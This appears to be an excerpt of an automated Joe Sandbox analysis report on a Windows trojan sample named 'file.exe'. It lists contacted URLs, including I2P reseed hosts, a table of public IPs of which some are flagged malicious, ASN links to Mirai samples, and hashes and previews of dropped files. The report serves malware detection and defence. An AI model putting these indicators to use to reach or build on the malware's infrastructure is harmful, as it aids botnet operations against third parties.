https://login.microsoftonline.com/ppsecure/devicechangecredential.srfMM	svchost.exe, 00000028.00000003.1989355515.0000029864927000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reseed.stormycloud.org/c	main.exe, 0000001D.00000002.2206042707.0000027B4440D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://signup.live.com/signup.aspx	svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000000.00000002.1365909778.000001A7F5068000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364470645.000001A7F5067000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365624998.000001A7F502B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80601	svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989763777.0000029864956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 00000000.00000003.1364800433.000001A7F5057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365782760.000001A7F5058000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80600	svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80603	svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/09/policy	svchost.exe, 00000028.00000003.2225363797.000002986496D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2236542045.000002986496E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528003910.0000029864913000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2191080698.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2225212612.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2169550030.000002986496E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	svchost.exe, 00000028.00000002.2528121324.0000029864937000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAAAA	svchost.exe, 00000028.00000003.2190886218.0000029864929000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/v1/Transit/Stops/	svchost.exe, 00000000.00000002.1366066074.000001A7F5088000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364293809.000001A7F5086000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reseed.i2p-projekt.de/	yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp, update.pkg.18.dr	false	Avira URL Cloud: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80605	svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Traffic/Incidents/	svchost.exe, 00000000.00000003.1364488310.000001A7F5062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365876947.000001A7F5063000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365694389.000001A7F503F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://reg.i2p/hosts.txtp/	main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
70.113.162.253	unknown	United States	11427	TWC-11427-TEXASUS	false
184.65.173.183	unknown	Canada	6327	SHAWCA	true
68.1.55.11	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
5.19.249.240	unknown	Russian Federation	41733	ZTELECOM-ASRU	false
89.89.209.95	unknown	France	5410	BOUYGTEL-ISPFR	false
188.174.130.9	unknown	Germany	8767	MNET-ASGermanyDE	false
213.145.125.139	unknown	Bulgaria	9070	COOOLBOXBG	false
154.61.58.162	unknown	United States	203749	HN-ASGB	false
5.104.75.170	unknown	Russian Federation	197328	INETLTDTR	false
88.210.6.42	unknown	Russian Federation	25308	CITYLAN-ASRU	true
107.189.6.31	unknown	United States	53667	PONYNETUS	false
46.51.90.183	unknown	Iran (ISLAMIC Republic Of)	197207	MCCI-ASIR	false
135.181.40.188	unknown	Germany	24940	HETZNER-ASDE	false
81.183.201.129	unknown	Hungary	5483	MAGYAR-TELEKOM-MAIN-ASMagyarTelekomNyrtHU	false
85.6.171.9	unknown	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
138.74.168.219	unknown	United States	2041	STNORBERTCOLLEGEUS	false
68.65.178.44	unknown	United States	46449	ASTREA-NORTHWI-WESTUPMIUS	false
47.250.187.161	unknown	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
85.239.53.47	unknown	Russian Federation	134121	RAINBOW-HKRainbownetworklimitedHK	false
74.222.100.29	unknown	United States	20257	FTC-INETUS	false
188.187.151.89	unknown	Russian Federation	41786	ERTH-YOLA-ASRU	false
24.70.217.209	unknown	Canada	6327	SHAWCA	false
31.13.134.204	unknown	Russian Federation	197765	ITPARK_DCRU	false
24.231.176.11	unknown	United States	20115	CHARTER-20115US	false
101.191.73.121	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
190.22.24.78	unknown	Chile	7418	TELEFONICACHILESACL	false
24.51.216.45	unknown	United States	30404	BSCL-11US	false
78.47.80.55	unknown	Germany	24940	HETZNER-ASDE	false
99.234.18.44	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
86.106.93.104	unknown	Belize	44901	BELCLOUDBG	false
85.239.63.250	unknown	Russian Federation	134121	RAINBOW-HKRainbownetworklimitedHK	false
85.239.52.241	unknown	Russian Federation	134121	RAINBOW-HKRainbownetworklimitedHK	false
194.207.132.221	unknown	United Kingdom	12390	KINGSTON-UK-ASGB	false
85.230.189.73	unknown	Sweden	2119	TELENOR-NEXTELTelenorNorgeASNO	false
207.178.119.175	unknown	United States	35851	BANKERSBANKOFKANSASUS	false
188.89.23.222	unknown	Netherlands	31615	TMO-NL-ASNL	false
212.118.52.164	unknown	Russian Federation	56806	ASCOM4SRU	false
92.95.33.134	unknown	France	15557	LDCOMNETFR	false
94.156.68.124	unknown	Bulgaria	31420	TERASYST-ASBG	true
217.10.112.72	unknown	Sweden	35706	NAOSE	false
159.196.73.121	unknown	Australia	4764	WIDEBAND-AS-APAussieBroadbandAU	false
73.246.172.43	unknown	United States	7922	COMCAST-7922US	false
176.109.240.152	unknown	Russian Federation	41709	LDS-UA	false
141.98.234.85	unknown	Russian Federation	41011	CH-NET-ASRO	true
99.252.228.84	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
139.162.110.14	unknown	Netherlands	63949	LINODE-APLinodeLLCUS	false
2.135.133.55	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
2.177.52.177	unknown	Iran (ISLAMIC Republic Of)	12880	DCI-ASIR	false
185.128.245.162	unknown	Austria	51184	FONIRAAT	false
119.13.124.67	unknown	Australia	9723	ISEEK-AS-APiseekCommunicationsPtyLtdAU	false
108.227.133.164	unknown	United States	7018	ATT-INTERNET4US	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1517355
Start date and time:	2024-09-25 01:10:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	43
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@57/74@1/52
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 20.101.57.9, 20.190.159.2, 20.190.159.71, 20.190.159.64, 40.126.31.73, 40.126.31.67, 20.190.159.68, 40.126.31.69, 20.190.159.23, 13.89.179.12
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, slscr.update.microsoft.com, login.live.com, twc.trafficmanager.net, www.tm.v4.a.prd.aadg.akadns.net, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, onedsblobprdcus17.centralus.cloudapp.azure.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target file.exe, PID 3800 because there are no executed function
Execution Graph export aborted for target main.exe, PID 3260 because there are no executed function
Execution Graph export aborted for target yhar2he6rpt6n0h1w6rh.exe, PID 7704 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
19:11:08	API Interceptor	201x Sleep call for process: file.exe modified
19:11:10	API Interceptor	49x Sleep call for process: powershell.exe modified
20:31:00	API Interceptor	182492x Sleep call for process: main.exe modified
20:31:06	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified
20:31:38	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
70.113.162.253	file.exe	Get hash	malicious	Unknown	Browse
154.61.58.162	file.exe	Get hash	malicious	Unknown	Browse
184.65.173.183	file.exe	Get hash	malicious	Unknown	Browse
68.1.55.11	file.exe	Get hash	malicious	Unknown	Browse
5.104.75.170	file.exe	Get hash	malicious	Unknown	Browse
5.19.249.240	file.exe	Get hash	malicious	Unknown	Browse
88.210.6.42	file.exe	Get hash	malicious	Unknown	Browse
107.189.6.31	file.exe	Get hash	malicious	Unknown	Browse
89.89.209.95	file.exe	Get hash	malicious	Unknown	Browse
188.174.130.9	file.exe	Get hash	malicious	Unknown	Browse
213.145.125.139	file.exe	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SHAWCA	file.exe	Get hash	malicious	Unknown	Browse	24.70.217.209
	SecuriteInfo.com.Linux.Siggen.9999.13221.8731.elf	Get hash	malicious	Unknown	Browse	50.72.73.81
	SecuriteInfo.com.Linux.Siggen.9999.32167.12194.elf	Get hash	malicious	Unknown	Browse	24.82.111.181
	ZgBCG135hk.elf	Get hash	malicious	Mirai, Moobot	Browse	24.69.3.95
	mdfh8nJQAy.elf	Get hash	malicious	Mirai, Moobot	Browse	96.52.28.136
	yMg23n1D5d.elf	Get hash	malicious	Mirai, Moobot	Browse	184.65.83.254
	XPK8NKw7Jv.elf	Get hash	malicious	Mirai, Moobot	Browse	24.70.74.89
	O9M84hUenb.elf	Get hash	malicious	Mirai, Okiru	Browse	50.70.203.45
	jydeTkHxMv.elf	Get hash	malicious	Unknown	Browse	68.148.70.154
	SecuriteInfo.com.Linux.Siggen.9999.8861.1379.elf	Get hash	malicious	Mirai	Browse	142.230.62.174
TWC-11427-TEXASUS	file.exe	Get hash	malicious	Unknown	Browse	70.113.162.253
	SecuriteInfo.com.Linux.Siggen.9999.29695.14613.elf	Get hash	malicious	Unknown	Browse	72.191.2.31
	cQOoKCZyG3.elf	Get hash	malicious	Mirai	Browse	70.117.108.32
	SecuriteInfo.com.Linux.Siggen.9999.21080.24829.elf	Get hash	malicious	Mirai	Browse	70.120.70.106
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	76.187.110.110
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	67.48.82.53
	95.214.27.183-x86-2024-09-02T08_52_28.elf	Get hash	malicious	Unknown	Browse	66.68.51.160
	94.156.71.153-sparc-2024-08-29T17_31_55.elf	Get hash	malicious	Unknown	Browse	70.121.73.31
	154.213.187.80-mips-2024-08-30T23_29_44.elf	Get hash	malicious	Mirai	Browse	66.69.104.43
	mirai.m68k.elf	Get hash	malicious	Mirai	Browse	75.81.132.111
ASN-CXA-ALL-CCI-22773-RDCUS	file.exe	Get hash	malicious	Unknown	Browse	68.1.55.11
	SecuriteInfo.com.Linux.Siggen.9999.29695.14613.elf	Get hash	malicious	Unknown	Browse	70.186.61.160
	SecuriteInfo.com.Linux.Siggen.9999.32167.12194.elf	Get hash	malicious	Unknown	Browse	98.187.110.147
	SecuriteInfo.com.Linux.Siggen.9999.11593.30273.elf	Get hash	malicious	Unknown	Browse	184.181.236.224
	jade.spc.elf	Get hash	malicious	Mirai	Browse	68.15.246.82
	Tsunami.arm.elf	Get hash	malicious	Mirai	Browse	98.160.221.195
	mdfh8nJQAy.elf	Get hash	malicious	Mirai, Moobot	Browse	70.179.119.239
	yMg23n1D5d.elf	Get hash	malicious	Mirai, Moobot	Browse	164.170.79.96
	XPK8NKw7Jv.elf	Get hash	malicious	Mirai, Moobot	Browse	98.187.245.127
	nIl2wyif6Q.elf	Get hash	malicious	Unknown	Browse	68.8.161.89

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.dll	file.exe	Get hash	malicious	Unknown	Browse
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll	file.exe	Get hash	malicious	Unknown	Browse
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll	file.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\ClipSVC\tokens.dat

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	697182
Entropy (8bit):	5.235477364318322
Encrypted:	false
SSDEEP:	12288:3BXiKZWAAllNJheaP7Qata8BtcV3w6F6BM/vWjfLDxqq6A+kmfDUhbpEj2DDpr1C:v+
MD5:	80C0457FA69A2B910FB5B56703E8924A
SHA1:	64BCF793C777191E7EB87D808FE062E893FDBB4D
SHA-256:	315F5B687D4FA9473112BFBD3A2825A9A0B325A932F0D24F2A773688A38C11AC
SHA-512:	363B416C99552360C4F725B05D863AF91AF9AEC15016764AA22E2726DA1288B9C5D3EE9AE1953DA84B11D93EDA17570A6922A9904930E34F9D70E8419D5D8657
Malicious:	false
Preview:	....Cz_...."....3..=.n...3....R.W..$......,...................4.c.3.a.4.c.b.8.-.a.c.b.f.-.1.9.f.a.-.d.1.7.6.-.d.1.a.a.0.c.9.f.b.9.e.6._...e.t...................................................x.m.l..................z...9.1.a.5.b.4.c.7.-.2.9.a.8.-.e.c.8.0.-.4.3.2.1.-.f.b.e.c.e.a.9.0.6.7.0.5._.t.r.k...................................................x.m.l...h.......h...........f.d.2.d.4.f.f.f.-.b.a.2.c.-.9.3.c.6.-.8.8.b.9.-.8.7.1.8.4.3.d.d.1.9.e.9._.........................................................x.m.l...........@...........e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.m.e.t...................................................x.m.l...........h.......t...e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.t.r.k...................................................x.m.l...B...................1.8.8.0.0.6.f.c.-.d.8.8.5.-.b.0.c.b.-.e.4.8.c.-.f.1.c.4.e.d.6.0.a.2.b.6._.........................................................x.m.l...........

C:\ProgramData\Microsoft\Windows\ClipSvc\tokens.dat.bak (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	697182
Entropy (8bit):	5.235477364318322
Encrypted:	false
SSDEEP:	12288:3BXiKZWAAllNJheaP7Qata8BtcV3w6F6BM/vWjfLDxqq6A+kmfDUhbpEj2DDpr1C:v+
MD5:	80C0457FA69A2B910FB5B56703E8924A
SHA1:	64BCF793C777191E7EB87D808FE062E893FDBB4D
SHA-256:	315F5B687D4FA9473112BFBD3A2825A9A0B325A932F0D24F2A773688A38C11AC
SHA-512:	363B416C99552360C4F725B05D863AF91AF9AEC15016764AA22E2726DA1288B9C5D3EE9AE1953DA84B11D93EDA17570A6922A9904930E34F9D70E8419D5D8657
Malicious:	false
Preview:	....Cz_...."....3..=.n...3....R.W..$......,...................4.c.3.a.4.c.b.8.-.a.c.b.f.-.1.9.f.a.-.d.1.7.6.-.d.1.a.a.0.c.9.f.b.9.e.6._...e.t...................................................x.m.l..................z...9.1.a.5.b.4.c.7.-.2.9.a.8.-.e.c.8.0.-.4.3.2.1.-.f.b.e.c.e.a.9.0.6.7.0.5._.t.r.k...................................................x.m.l...h.......h...........f.d.2.d.4.f.f.f.-.b.a.2.c.-.9.3.c.6.-.8.8.b.9.-.8.7.1.8.4.3.d.d.1.9.e.9._.........................................................x.m.l...........@...........e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.m.e.t...................................................x.m.l...........h.......t...e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.t.r.k...................................................x.m.l...B...................1.8.8.0.0.6.f.c.-.d.8.8.5.-.b.0.c.b.-.e.4.8.c.-.f.1.c.4.e.d.6.0.a.2.b.6._.........................................................x.m.l...........

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_main.exe_59e5c191145a7e657df69e5cbadfff4911e783_61e28721_6f9af734-4c60-48e2-acda-bfa67bc7699e\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9547345336309089
Encrypted:	false
SSDEEP:	96:gxFTJlKDac6ZsehMX7q9fwQXIDcQic6EcERcw3W3d+HbHg/opAnQzOqg7ThVMkQ1:MA2c6Z/d0MALS36jNAzuiFoZ24lO8l
MD5:	479B7DA9B6D81E37380E32A797749E82
SHA1:	0611B8AAC0E69B17AD7BC7277DF70F4BC4B60DA8
SHA-256:	2A1EF06568B844242D9446C1D30CD6FD4BEFBDA1BF3EF759B2E34CE99E23F81A
SHA-512:	EC8665B7A94C33DC274D2DE0EBAEDABE0DAE46A7A619E6C9635BD1720CEAD3CCF449C894BEC756318D2555D10B795594C5F4AA57F8A5956BB61577137EBCF43F
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.6.9.7.8.7.7.2.7.4.3.8.4.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.1.6.9.7.8.7.7.7.5.8.7.3.4.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.f.9.a.f.7.3.4.-.4.c.6.0.-.4.8.e.2.-.a.c.d.a.-.b.f.a.6.7.b.c.7.6.9.9.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.6.a.4.9.1.7.e.-.f.8.0.0.-.4.4.5.8.-.9.a.3.a.-.3.7.a.1.9.c.8.3.b.a.b.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.m.a.i.n...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.f.3.4.-.0.0.0.0.-.0.0.1.4.-.1.d.6.b.-.0.8.1.e.e.2.0.e.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.3.1.8.d.4.3.1.0.6.5.7.e.8.3.6.8.5.5.7.f.1.8.3.e.1.5.c.4.7.c.d.0.0.0.0.f.f.f.f.!.0.0.0.0.a.5.a.c.f.e.6.3.9.7.d.f.f.c.6.1.d.2.4.3.2.0.6.8.8.5.c.3.8.9.e.a.0.5.4.2.8.7.5.5.!.m.a.i.n...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.1.9.7.0././.0.1././.0.1.:.0.0.:.0.0.:.0.0.!.1.d.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5D84.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Sep 25 00:31:17 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	632198
Entropy (8bit):	0.9935101964449532
Encrypted:	false
SSDEEP:	768:QXLY8dXwMupyZBib/4V5v9LZyo6Y//kTW86ulpcWjHRsftyHdbqwnOJyOe6EME9h:QXUAK2kljyt49qwOJMLZ
MD5:	7A1FE490CFBFA5248B89E7A22076C3C7
SHA1:	9B80E5A26BD1636E70852B6A369680E0828328AC
SHA-256:	208F251F9CEC5765939A9B1A4E0106E6FFC2207CB61A836A7E962EE516AE1189
SHA-512:	22C100060BA0329183AE7C3DBB8AB6D246C93BC5BDBA96BAB420001913AD151ADD594384B9BEFA372BCC90E8EAAD5924E0407C8DB7FA7C7E00EAFB048FBEE4D8
Malicious:	false
Preview:	MDMP..a..... ........Y.f............$...........x...8.......................N...........`.......8...........T...........p,...y.......................!..............................................................................eJ......0"......Lw......................T.......4....Y.f.............................@..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5EBE.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6730
Entropy (8bit):	3.720508413970361
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetboT+pOYHV46NJ5aM4UB89bUoDo9fJcm:R6l7wVeJE+pOYHRprB89bUokfJcm
MD5:	2E4ADA9E7BC1D693DC1B2F2A8F1026E9
SHA1:	9F2AD178C964B1F253F0265F516D58042B4AB7EC
SHA-256:	75DF6A04A21557C96F8CC55EC6AF83773B6585F652AE3D76D6C587E67F3D3A8F
SHA-512:	73B4EE46C34AEA562038B8158A0BB54AF5B8824C705246E563524355A5FB37C498BBC76A424A8A1D65D11815CDDF9D3232A7D2FB3CAD982EA7E5730BE4974C7D
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.9.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5EEE.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4603
Entropy (8bit):	4.412705917287101
Encrypted:	false
SSDEEP:	48:cvIwWl8zsdJg771I9f0WpW8VYjIYm8M4JD2+AFbefiyq85/3s4p3Yiwd:uIjf3I7Et7VQJkefi1Y3Yiwd
MD5:	F403891A682708D3B6F256760C82260A
SHA1:	53121628AED4F9090A02B036DD0A472AB40E6E8A
SHA-256:	4C03A883649DE1767EFE1197AD2CA4CE9524D12AC7E8E6FCFAC3A7F110D51895
SHA-512:	0E4815D621E24358B718CADF368D395BC5008C2B0039682EB8607C26F0632F162D85B9B030BCCDFF548B772E5744A2AFE8D7940C6E95EFEB74B18892F673A03C
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="515013" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5EFB.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	81034
Entropy (8bit):	3.0786359586988734
Encrypted:	false
SSDEEP:	1536:GkIp9GCETdefnjs1KQSRsSkCc5VZ+z2u+u5vn+S+m+KJj5k+DD+lUao9:GkIp9GCETdefnjs1KQSRsSkCc5VZ+z2K
MD5:	82033D26D9F2AB4A4AC30A660CCE88A0
SHA1:	6EF8458E1A7EAA3866D40ADC767DE44DFA6D7418
SHA-256:	C46147F8E28FCC221F5873B0A21B98D533349EF8EA55AA3336815E0026767E10
SHA-512:	9389826C225FF5044CD6C2451BD989F6C124F81FA24552F46AE3B7F00B6801863E4256D72BDB6444C2ED6B65D412D0F343662C44C3A73A70C8F1634A33C38632
Malicious:	false
